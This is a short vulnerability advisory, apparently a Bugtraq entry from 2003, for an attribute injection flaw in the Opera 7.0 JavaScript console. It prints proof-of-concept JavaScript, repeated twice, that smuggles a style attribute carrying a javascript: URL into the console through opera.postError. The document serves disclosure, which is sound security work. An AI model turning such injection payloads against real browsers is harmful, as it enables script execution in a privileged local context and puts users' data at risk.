Opera JavaScript Console Attribute Injection Vulnerability
BID:6755
Info
Opera JavaScript Console Attribute Injection Vulnerability
| Bugtraq ID: | 6755 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 04 2003 12:00AM |
| Updated: | Feb 04 2003 12:00AM |
| Credit: | Discovery of this vulnerability credited to GreyMagic Software. |
| Vulnerable: |
Opera Software Opera Web Browser 7.0 win32 |
| Not Vulnerable: |
Opera Software Opera Web Browser 7.0 1win32 |
Exploit / POC
Opera JavaScript Console Attribute Injection Vulnerability
The following proof of concepts were provided:
open("file://localhost/console.html","","");
opera.postError("http://\"style=\"background-image:url('javascript:alert(location.href)')\"");
open("file://localhost/console.html","","");
opera.postError("file://\"style=\"background-image:url('javascript:alert(location.href)')\".");
Proof of concept demonstrations are available at the following location:
http://security.greymagic.com/adv/gm003-op/
The following proof of concepts were provided:
open("file://localhost/console.html","","");
opera.postError("http://\"style=\"background-image:url('javascript:alert(location.href)')\"");
open("file://localhost/console.html","","");
opera.postError("file://\"style=\"background-image:url('javascript:alert(location.href)')\".");
Proof of concept demonstrations are available at the following location:
http://security.greymagic.com/adv/gm003-op/